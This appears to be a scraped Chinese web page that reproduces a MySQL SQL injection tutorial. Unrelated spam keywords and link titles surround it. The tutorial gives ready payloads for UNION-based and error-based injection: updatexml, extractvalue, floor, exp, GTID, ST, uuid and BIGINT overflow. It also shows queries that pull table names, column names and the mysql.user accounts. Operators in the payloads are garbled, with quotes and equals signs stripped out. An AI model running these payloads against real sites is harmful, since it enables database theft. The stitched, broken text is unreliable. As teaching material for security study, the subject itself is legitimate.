当前位置: 首页 > news >正文

木渎建设局网站数据分析培训机构哪家好

木渎建设局网站,数据分析培训机构哪家好,定制网站建设公司推荐,wordpress ideMySQL注入秘籍【上篇】1.数据库敏感信息常用语句2.联合(UNION)查询注入3.报错注入原理常见报错注入函数1.数据库敏感信息常用语句 获取数据库版本信息 select version(); select innodb_version;获取当前用户 select user();获取当前数据库 select database()#xff1b;数… MySQL注入秘籍【上篇】1.数据库敏感信息常用语句2.联合(UNION)查询注入3.报错注入原理常见报错注入函数1.数据库敏感信息常用语句 获取数据库版本信息 select version(); select innodb_version;获取当前用户 select user();获取当前数据库 select database()数据路径 select datadir;获取所有数据库 select schema_name from information_schema.schemata;查看表结构 desc mysql.user获取所有用户信息 select * from mysql.user获取当前数据库的表名 desc information_schema.tables;select table_name from information_schema.tables where table_schema database();select group_concat(table_name) from information_schema.tables where table_schema database();获取当前数据库的某表的列名 select column_name from information_schema.columns where table_name 表名; select group_concat(column_name) from information_schema.columns where table_name 表名;获取当前数据库中某列的值 select id ,username,password from users;查询DBA账户一般root select host, user from mysql.user where super_priv y;2.联合(UNION)查询注入 通常使用联合查询注入法其作用就是在原来查询条件的基础上通过关键字union、union all拼接恶意SQL语句union后面的select得到的结果将拼接到前个select的结果的后面 正常情况下SQL语句的union联合查询常用格式如下 select 1,2,3 from xxx union select 4,5,6 from vuls;/* --------- | 1 | 2 | 3 | --------- | 1 | 2 | 3 | | 4 | 5 | 6 | --------- */在注入过程中我们把union select 4,5,6 from vuls部分称作是union注入部分,它的主要特点是通过union和前面一条SQL语句拼接并构造其列数与前面的SQL语句列数相同,如1,2,3和4,5,6均为3列。我们把这种注入方式称为union注入。 注入流程 1、确认列数 我们union查询前后的字段数必须是一样的才能查询因此我们的第一步就是通过order by或者group by获取当前查询的字段数 1 order by 3 -- -返回正常说明前面查询的列数 3 1 order by 4 -- -返回不正常说明前面查询的列数 4不正常可能是直接抛出异常也可能是返回空内容等 因此说明此处的查询列数为3 2、判断显位 既然已经知道了查询列数了那我们就需要判断哪些列的内容是可以显示到前端的因为能显示到前端的字段我们在利用时也能直接显示我们想要的数据 我们只需要让union查询前半部分的内容为空即可 -1 union select 1,2,3 -- -可以看到2、3这两列为显位 3、获取数据 已经知道哪些列可以显示出来了直接替换为我们的sql语句即可 首先查询当前数据库名database()、数据库账号user()、数据库版本version()等基本信息再根据不同版本不同的权限来确定接下来的方法 例如 -1 union select 1,database(),user() -- -接下来请尽情的拼接你想要的SQL语句吧 扩展limit注入点字段数判断 如果注入点在limit后想要判断字段数可通过into ,的手法其中为mysql的临时变量 select * from user limit 1 into ,;3.报错注入 原理 服务器会将数据库执行产生的异常信息抛出显示到前端这个时候我们人为地制造错误条件就可以让查询结果能够出现在错误信息中 注入流程 直接查询数据库不需要判断字段数、显位等查询语句和UNION一样毕竟都是从数据库中查询数据此处举几个例子说明即可 1、确认闭合使用报错注入前我们要确定参数值是可以闭合的 1 and 112、利用灵活利用payload查询通过报错查询数据库信息 查询数据库名 1 and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and 11查询当前数据库所有的表名 1 and updatexml(0x7e,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema database())),0x7e) and 11常见报错注入函数 floor() 报错原理 利用数据库表主键不能重复的原理使用GROPU BY分组分组会产生临时表我我们只需要让临时表产生主键key重复即可产生主键key冗余导致报错 floor报错注入的利用通俗点说就是利用concat()构造特殊的主键当主键值不唯一时就报错并回显该主键值主键值中就包含着我们想要的内容 常用payload 获取数据库名 1 AND (SELECT 1 from(SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.COLUMNS GROUP BY x)as y) -- -获取表名 1 AND (SELECT 1 from(SELECT count(*),concat(0x23,(SELECT table_name from information_schema.TABLES WHERE table_schema database() limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.COLUMNS GROUP BY x)as y) -- -extractValue() 从目标XML中返回包含所查询值的字符串 函数语法extractvalue(xml_frag,xpath_expr) 适用范围5.1.5 报错原理Xpath格式语法书写错误的话就会报错如下所示 mysql SELECT extractvalue(abx/bby/b/a,/a/b) as result; -------- | result | -------- | x y | -------- 1 row in set (0.00 sec)mysql SELECT extractvalue(abx/bby/b/a,#aaa) as result; ERROR 1105 (HY000): XPATH syntax error: #aaa由于此报错注入和updatexml都只能爆最大32位如果要爆出32位之后的数据需要借助mid或者substr等切割函数进行字符截取从而显示32位以后的数据 payload 1 and extractvalue(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema database()),0x23),1,32)) and 11updatexml() 函数语法updatexml(XML_document,XPath_String,new_value) 适用范围5.1.5 报错原理Xpath格式语法书写错误的话就会报错同extractValue() 1 and updatexml(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema database()),0x23),1,32),1) and 11exp() 函数语法exp(int x) - 返回 e ^ x 适用范围适用于mysql5.5.52 报错原理e的x次方到x每增加1其结果都将跨度极大而mysql能记录的double数值范围有限一旦结果超过范围则该函数报错 将0按位取反~0可以看到取值为18446744073709551615这个值就比double范围最大值要大所以再利用mysql 函数正常取值之后会返回0的特性那么当函数执行成功然后按位取反之后得到的值直接造成double型溢出 payload 1 and exp(~(select * from (select version())x)) and 11GTID相关函数 报错原理参数格式不正确 适用范围5.7 利用语句 select GTID_SUBSET(user(),1); select GTID_SUBTRACT(user(),1);ST相关函数 报错原理参数格式不正确 适用范围5.7 利用语句 select ST_LatFromGeoHash(version()); select ST_LongFromGeoHash(version()); select ST_PointFromGeoHash(version(),0);BIGINT 报错原理 当mysql数据库的某些边界数值进行数值运算时会产生报错。 如~0得到的结果18446744073709551615 若此数参与运算则很容易会错误 1 AND !(select * from(select user())a)-~0 -- -uuid相关函数 适用范围8.0 报错原理参数格式不正确会导致报错 利用语句 select uuid_to_bin((select database())); select bin_to_uuid((select database()));不存在的函数 报错原理随便使用不存在的函数可能会得到当前所在数据库的名称 利用语句 select fff();版权声明本文教程基于d4m1ts知识库
http://www.hkea.cn/news/14485033/

相关文章:

  • 如何让网站自适应高端网站建设公司哪里济南兴田德润实惠吗
  • 阿里云建站的优缺点免费做长图网站
  • 长沙手机网站首页设计公司电子商务网站开发设计
  • 涿州网站建设推广汉阴做网站
  • 建设淘宝客网站网上申报系统
  • 郑州网站seo推广宜宾网站制作公司
  • 广州大型网站建设合肥网页设计多少钱
  • 中国建设银行网站u盾修改密码wordpress更改默认头像
  • 网站改中文成都企业网站优化
  • 纹身网站建设案例自己设计一款新产品
  • 免费网站后台模版网盘资源共享群吧
  • 凡科怎样免费做网站wordpress图片设置水印
  • 知行网站建设网站建设构思
  • 自己做网站美工网站开发的相关技能有哪些
  • 做网站一般用什么程序wordpress主机哪个好
  • 企业网站登录入口官网wordpress添加小游戏
  • 网站开发使用软件环境网站模块设计怎么做
  • 0731网站网站建设kaicz
  • 建设模板类网站wordpress主题xin
  • 做淘宝客的网站怎么备案网站建设不开单
  • 微信公众号可以做几个微网站吗青岛公司网页设计
  • 网站下载链接怎么做高清免费素材网
  • 武夷山市建设局网站做现货去哪些网站营销好呢
  • 郑州百度公司地址保定关键词优化排名
  • 代还信用卡网站建设网站开发案例详解pdf
  • 网站推广品牌长沙九度网络科技
  • 大岭山网站建设公司石家庄搭建公司
  • 南海网站建设多少钱成都装修网
  • 怎么免费建设个人网站wordpress如何自己编辑
  • dedecms仿站深圳工商注册公司流程